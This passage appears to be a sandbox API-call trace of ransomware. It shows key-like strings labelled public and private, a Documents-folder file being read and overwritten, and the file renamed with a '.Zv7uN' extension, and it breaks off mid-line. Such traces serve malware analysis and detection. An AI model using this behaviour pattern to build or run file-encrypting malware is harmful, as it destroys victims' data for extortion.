0xa30 [0089.031] GetCurrentThreadId () returned 0xa30 [0089.031] GetCurrentThreadId () returned 0xa30 [0089.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0089.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0089.032] GetCurrentThreadId () returned 0xa30 [0089.032] GetCurrentThreadId () returned 0xa30 [0089.032] GetCurrentThreadId () returned 0xa30 [0089.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\cc7VJrUJ4rqn A41Oh O.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\cc7vjruj4rqn a41oh o.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0089.033] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0089.033] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0089.033] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xd4cd [0089.033] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0089.033] ReadFile (in: hFile=0x104, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0xd4cd, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0xd4cd, lpOverlapped=0x0) returned 1 [0089.036] CloseHandle (hObject=0x104) returned 1 [0089.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\cc7VJrUJ4rqn A41Oh O.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\cc7vjruj4rqn a41oh o.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0089.040] WriteFile (in: hFile=0x104, lpBuffer=0x1f16ed0*, nNumberOfBytesToWrite=0xd4cd, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f16ed0*, lpNumberOfBytesWritten=0x18f6ac*=0xd4cd, lpOverlapped=0x0) returned 1 [0089.043] CloseHandle (hObject=0x104) returned 1 [0089.043] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\cc7VJrUJ4rqn A41Oh O.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\cc7vjruj4rqn a41oh o.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\cc7VJrUJ4rqn A41Oh O.doc.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\cc7vjruj4rqn a41oh o.doc.zv7un")) returned 1 [0089.044] GetCurrentThreadId () returned 0xa30 [0089.044] GetCurrentThreadId () returned 0xa30 [0089.044] GetCurrentThreadId () returned 0xa30 [0089.044] GetCurrentThreadId () returned 0xa30 [0089.044] GetCurrentThreadId () returned 0xa30 [0089.045] GetCurrentThreadId () returned 0xa30 [0089.045] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff7e410, ftCreationTime.dwHighDateTime=0x1d5e66e, ftLastAccessTime.dwLowDateTime=0xc7d5870, ftLastAccessTime.dwHighDateTime=0x1d5e49c, ftLastWriteTime.dwLowDateTime=0xc7d5870, ftLastWriteTime.dwHighDateTime=0x1d5e49c, nFileSizeHigh=0x0, nFileSizeLow=0xf36a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="g5f gdHlfXDDwn2eSSD.xls", cAlternateFileName="G5FGDH~1.XLS")) returned 1 [0089.045] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0089.045] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\g5f gdHlfXDDwn2eSSD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\g5f gdhlfxddwn2essd.xls"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff7e410, ftCreationTime.dwHighDateTime=0x1d5e66e, ftLastAccessTime.dwLowDateTime=0xc7d5870, ftLastAccessTime.dwHighDateTime=0x1d5e49c, ftLastWriteTime.dwLowDateTime=0xc7d5870, ftLastWriteTime.dwHighDateTime=0x1d5e49c, nFileSizeHigh=0x0, nFileSizeLow=0xf36a)) returned 1 [0089.045] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\g5f gdHlfXDDwn2eSSD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\g5f gdhlfxddwn2essd.xls")) returned 0x20 [0089.045] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\g5f gdHlfXDDwn2eSSD.xls", dwFileAttributes=0x80) returned 1 [0089.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0089.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0089.049] GetCurrentThreadId () returned 0xa30 [0089.049] GetCurrentThreadId () returned 0xa30 [0089.049] GetCurrentThreadId () returned 0xa30 [0089.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0089.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0089.051] GetCurrentThreadId () returned 0xa30 [0089.051] GetCurrentThreadId () returned 0xa30 [0089.051] GetCurrentThreadId () returned 0xa30 [0089.051] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\g5f gdHlfXDDwn2eSSD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\g5f 